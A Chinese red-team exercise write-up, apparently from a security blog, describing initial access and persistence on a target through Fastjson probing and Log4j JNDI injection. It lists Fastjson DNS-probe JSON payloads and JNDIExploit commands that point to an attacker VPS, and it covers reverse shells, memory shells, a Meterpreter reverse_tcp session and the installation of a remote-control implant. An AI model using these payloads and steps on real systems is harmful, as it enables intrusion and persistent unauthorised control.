記一次攻防演練打點(diǎn)過程
前言
在如今錯(cuò)綜復(fù)雜的網(wǎng)絡(luò)環(huán)境,還有各種防護(hù)設(shè)備的加持,漏洞利用可謂難上加難。這里簡單記錄下在一次攻防演練中從打點(diǎn)到權(quán)限維持的曲折過程。
過程
前期先從備案查詢、子域名收集、端口掃描等方式獲取資產(chǎn)URL。其次對URL進(jìn)行指紋識別,雖然發(fā)現(xiàn)了幾個(gè)存在指紋的系統(tǒng),但后續(xù)滲透發(fā)現(xiàn)漏洞已無法利用,漏洞已修。最后老實(shí)本分對其他Web系統(tǒng)進(jìn)行滲透,尋找突破口。
01 前后端分離架構(gòu)
前后端分離的開發(fā)架構(gòu)已然成為互聯(lián)網(wǎng)項(xiàng)目開發(fā)的主流模式,通過nginx+tomcat(中間加Node.js)來進(jìn)行解耦,是未來的大型分布式架構(gòu)、彈性計(jì)算架構(gòu)、微服務(wù)架構(gòu)和多端化服務(wù)的基礎(chǔ)。
·前端:負(fù)責(zé)View和Controller層·后端:負(fù)責(zé)Model層,進(jìn)行業(yè)務(wù)/數(shù)據(jù)處理
JAVA 更適合做 Model 層、持久層的業(yè)務(wù),引入Node.js可進(jìn)行Controller層的處理。Node.js作為橋梁架接服務(wù)端API輸出的JSON數(shù)據(jù)。
02 WebPack資源管理
WebPack本身作為一個(gè)資源管理和打包構(gòu)建工作,其強(qiáng)大之處在于各種靜態(tài)資源的依賴分析和預(yù)編譯。經(jīng)過WebPack編譯后得到各種靜態(tài)資源,通常生成dist文件夾,保存各種靜態(tài)文件。其結(jié)構(gòu)大致如下:
而app.js文件通常包含了各類前端路由或者后端API接口,是我們滲透前后端系統(tǒng)的突破口。當(dāng)然不僅僅只是app.js中會(huì)存在。
03 發(fā)現(xiàn)指紋Fastjson
使用burp插件,可自動(dòng)從js中爬取前端路由或者后端API接口
當(dāng)獲取到后端API接口時(shí),使用burp的Intruder模塊對所有接口發(fā)送GET和POST請求,POST請求時(shí)可以構(gòu)造json請求體發(fā)送。
部分接口進(jìn)行GET請求時(shí),后端返回缺失某參數(shù),此時(shí)可構(gòu)造該參數(shù)并進(jìn)行SQL注入等漏洞利用。
此時(shí)從報(bào)錯(cuò)信息中發(fā)現(xiàn)某個(gè)接口使用Fastjson組件
于是利用DNS探測判斷Fastjson版本
Fastjson < 1.2.43
{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
Fastjson < 1.2.48
{"@type":"java.net.InetAddress","val":"dnslog"}
Fastjson < 1.2.68
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
{{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
{{"@type":"java.net.URL","val":"http://dnslog"}:0}
未發(fā)現(xiàn)DNSLog回顯
04 發(fā)現(xiàn)log4j漏洞
字段Content-Type存在dnslog回顯,先試試dns協(xié)議進(jìn)行dnslog探測
可探測java版本,1.8.0_171版本
使用ldap協(xié)議進(jìn)行dnslog探測
可探測服務(wù)器類型,Linux系統(tǒng)
可進(jìn)行jndi注入利用,使用工具JNDIExploit-1.4-SNAPSHOT.jar
查看使用方式
命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -u
使用TomcatEcho鏈執(zhí)行命令并回顯
命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -i your-vps-ip
發(fā)送cmd命令請求
成功執(zhí)行命令并回顯,root權(quán)限
此時(shí)獲取命令執(zhí)行權(quán)限,如何進(jìn)行權(quán)限維持?獲取一個(gè)穩(wěn)定的shell
05 權(quán)限維持
1)執(zhí)行命令,直接反彈shell
2)執(zhí)行命令,寫入webshell
3)jndi注入工具支持打入內(nèi)存馬
4)jndi注入工具1.4版本新增支持上線msf
第一種嘗試:執(zhí)行bash、sh命令反彈shell,存在ldap請求,但反彈命令未執(zhí)行成功;
第二種嘗試:通過pwd、ls命令進(jìn)行Web系統(tǒng)目錄,發(fā)現(xiàn)服務(wù)由jar起的,寫入webshell文件無法利用;
第三種嘗試:VPS收到打入內(nèi)存馬的ldap請求,但訪問內(nèi)存馬路徑時(shí)顯示404;
第四種嘗試:使用tomcatBypass路由上線msf成功
msf開啟監(jiān)聽,使用payload:java/meterpreter/reverse_tcp
設(shè)置LHOST、LPORT,執(zhí)行run開啟監(jiān)聽
發(fā)送ldap請求,請求tomcatBypass路由,IP是VPS的IP,PORT是msf監(jiān)聽的端口
上線msf,得到穩(wěn)定式shell
得到shell,但無法進(jìn)行直觀目錄瀏覽,而且shell是交互式shell,有沒有更好的遠(yuǎn)控方式呢?
06 上線遠(yuǎn)控
在本公眾號前面發(fā)過的文章中提到一款遠(yuǎn)控平臺(tái),自帶某廠商證書,為免殺工作省去大量功夫。但上線命令需要使用curl命令,然而該機(jī)器上并沒有curl命令。
沒有curl,但有wget,可不可以使用wget替換curl,詢問下chatgpt
答案是存在可替換的,但卻達(dá)不到我們的效果
于是安裝curl命令,但yum、apt-get等命令也沒有
很奇怪的一個(gè)系統(tǒng),大概率是個(gè)閹割版的docker容器,先看下系統(tǒng)版本類型
cat /etc/os-release
這種系統(tǒng)內(nèi)核,百度下
是個(gè)docker無疑了,詢問chatgpt該內(nèi)核的系統(tǒng)如何下載curl
Apline Linux內(nèi)核使用輕量級的apk包管理工具來管理軟件包。執(zhí)行一鍵安裝命令,等待安裝過程
安裝完成,接下來使用curl命令一鍵上線遠(yuǎn)控。
總結(jié)
命令執(zhí)行無法反彈shell或許是防護(hù)設(shè)備攔截所致。
本文作者:極致攻防實(shí)驗(yàn)室, 轉(zhuǎn)載請注明來自FreeBuf.COM